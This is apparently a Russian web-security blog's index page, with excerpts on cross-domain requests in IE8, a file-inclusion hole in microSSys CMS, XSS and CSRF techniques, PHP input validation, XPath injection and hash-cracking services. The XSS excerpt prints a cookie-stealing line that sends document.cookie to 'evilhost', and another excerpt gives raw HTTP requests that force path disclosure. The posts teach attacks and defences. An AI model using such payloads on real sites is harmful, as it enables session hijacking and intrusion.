Этот пост является продолжением недавней статьи, в которой описывались методы удаленного взаимодействия с сервером посредством JavaScript, в частности с помощью AJAX. Как Вы уже знаете, в FireFox 3 JS-объект XMLHttpRequest будет иметь возможность посылать запросы на сторонние сайты. Microsoft по-видимому снова решила выделиться и вместо того, чтобы унифицировать интерфейс для отправки запросов, решила внедрить новый объект в Internet Explorer 8, который также будет способен делать междоменные вызовы. Заметьте, что до этого в IE использовался (собственно и сейчас используется) свой объект ActiveX с названием Microsoft.XMLHTTP, однако вместо его изменения, как поступили разработчики FF с XMLHttpRequest, мелкомягкие решили создать полностью новый, и при этом он не будет связан с ActiveX! Напрашивается вопрос: раз уж принялись за создание нового объекта, почему бы не сделать его максимально универсальным? Мне непонятно такое стремление, впрочем, как и всем разработчикам, среди которых данное решение поддержки однозначно не найдет.
-
Инклуд удаленных файлов в microSSys CMS 1.5
Обнаружил RFI в microSSys CMS, самой непрофессиональной CMS’ке, которую я когда-либо видел. Помнится был WCPS, который занимал в моем “почетном” рейтинге первое место, но эта CMS еще ужасней во всех отношениях, включая и безопасность. Вот хоронология моих действий:
- переписал файлы на локалхост
- открыл в браузере скрипт установки
- испугался и закрыл
- открыл исходный код index.php
- снова испугался, но перед тем, как закрыть заметил RFI
CMS’ка настолько стремная, что str0ke с milw0rm’а отказался принимать уязвимость =) (more…)
-
HTML & JS: взаимодействие с удаленным сервером
Сегодня я хотел бы рассмотреть существующие методы для обращения клиента через браузер к стороннему серверу. Для чего это нужно злоумышленникам? Все очень просто: для реализации атак вида XSS (Cross Site Scripting) и CSRF (Cross Site Request Frogery). В большинстве случаев хакеру требуется сделать GET-запрос к своему серверу; как правило, это достигается путем использования двух основных приемов:
- перенаправление с помощью location.replace()
document.location.replace("http://evilhost/snif.php?c="+document.cookie); - динамическое создание или вставка тэгов, имеющих аттрибуты src или background; при этом источником этих элементов является сервер злоумышленника. Это могут быть тэги img, iframe, frame, script, link, table и многие другие. (more…)
- перенаправление с помощью location.replace()
-
Удаленное администрирование сайтом
У многих людей сложилось представление, что администраторская панель сайта всегда имеет только web-интерфейс. На самом деле теоретически возможно реализовать админку в виде обычной программы, которую можно запустить на собственном компьютере. Возможно уже существуют подобные, но я пока их не встречал =) Эта идея мне пришла в голову после работы с WinBinder, о котором я писал не так давно. С точки зрения безопасности админка, релизованная в виде программы, имеет ряд преимуществ. Не секрет, что на многих сайтах админ-панель обычно расположена в таких директориях, как admin/, a/, backend/, administration/, adm/, и т.д., что легко вычисляется злоумышленниками. Если же мы используем удаленную админку, то возможность перебора пароля хакерами исключается. Более того, весь функционал по администрированию сайтом вообще не находится на сервере! Доступ к панели администрирования имеет только тот пользователь, на компьютере которого установлена данная программа.
-
Функция для обработки входящих данных
Собственно вот и обещанная мной функция для обработки данных, поступающих от пользователя. Для получения одной переменной вызываем так (какие аргументы передавать думаю и так ясно):
<?php $var = import_var('var','G','INT',3); ?>Для получения одновременно нескольких однотипных переменных вызов функции немного отличается:
<?php extract(import_var(array('var1','var2','var3'),'G','INT',3)); echo $var1; echo $var2; echo $var3; ?> -
Проверяйте тип данных
В дополнение к прошлому посту, и как подметил автор SecureBlog’а, хотел бы добавить следующее: прежде чем осуществлять обработку данных на их содержимое необходимо проверять их тип. Если этому не уделять внимания, то недостаточная проверка типов данных может привести к раскрытию пути, т.к. функция, которая ожидает получить, например, числовое значение в качестве одного из аргументов, приняв строку или массив, как правило, вызывает ошибку уровня E_WARNING:
Warning: urlencode() expects parameter 1 to be string, array given in C:\Webservers\localhost\www\index.php on line 3
Передать массив вместо строки или числа очень просто:
GET-запрос:GET /index.php?mode[]=main HTTP/1.1 Host: somehost.com Connection: close
POST-запрос:
POST /index.php HTTP/1.1 Host: somehost.com Content-Type: application/x-www-form-urlencoded Connection: close postfield[]=blah
Массив в Cookie:
GET /index.php HTTP/1.1 Host: somehost.com Cookie: auth[]=8c510f5172628316f5435fc9bc0c4d17 Connection: close
Скоро выложу свою функцию, общие принципы реализации которой я описывал в прошлом посте.
-
Как нужно проверять входящие данные
Фильтрация данных, поступающих со стороны пользователя, с точки зрения безопасности самый важный компонент любого веб-приложения. Сегодня я хотел бы рассказать какие основные составляющие по-моему мнению должна включать правильная обработка входящих данных. Первое и самое главное правило – все, что приходит от пользователя или каким-либо образом может быть им изменено, должно проходить обязательную проверку на стороне сервера. Однако всеми излюбленный метод, при котором ко всем элементам массивов GET, POST и Cookie применяется addslashes(), не является абсолютно безопасным. (more…)
-
Введение в XPath-инъекции
XPath (XML Path Language) – это язык, который предназначен для произвольного обращения к частям XML документа. XML (eXtensible Markup Language) – это всем известный язык разметки, с помощью которого создаются XML документы, имеющие древовидную структуру. Пример простейшего XML документа:
<?xml version="1.0" encoding="UTF-8"?> <foo> <bar param="value"/> </foo>
XPath необходим для получения конкретной информации из XML документов; это достигается путем использования специальных операторов и выражений. Обращение к элементам XML документа с помощью XPath напоминает взаимодействие с файловой системой:
/foo/bar
Этот элементарный XPath-запрос возвратит элемент bar из XML документа выше:<?xml version="1.0" encoding="UTF-8"?> <foo> <bar param="value"/> </foo>
-
Топ 10 лучших онлайн сервисов по расшифровке хэшей
Представляю свой неофициальный рейтинг лучших онлайн-сервисов, позволяющих расшифровать хэши. В своих оценках я руководствовался следующими критериями:
- бесплатность доступа
- размер словаря
- поддерживаемые типы хэшей
- наличие детального криптоанализа (например с помощью Rainbow-таблиц)
Обновлено 17.10.2019 (more…)
-
WinBinder: новый взгляд на PHP
Возможностью компилияции PHP-скриптов в standalone-приложения в настоящее время никого не удивишь. Для этой цели существует множество программ, однако они позволяют превратить PHP-сценарий лишь в консольное приложение. GUI-интерфейс для PHP-скриптов можно создать с помощью PHP-GTK, но лично мне больше по душе WinBinder.
Разница в визуальном представлении приложений, разработанных с помощью этих двух расширений для PHP, очевидна. Программы с GTK-интерфейсом в Windows выглядят очень некрасиво, ввиду кросплатформенного стандарта, в то время как приложения, созданные с помощью WinBinder, ничем не отличаются от обычных виндовых аналогов, так как имеют стандратные кнопки, прогресс бары, табы и т.д. С точки зрения организации доступа к возможностям PHP-GTK и WinBinder, также можно обнаружить серьезные различия. PHP-GTK предоставляет объектно-ориентированный интерфейс к огромному количеству классов и функций GTK+. Что касается WinBinder, для написания простейшего Hello World необходимо знать всего несколько основных функций.
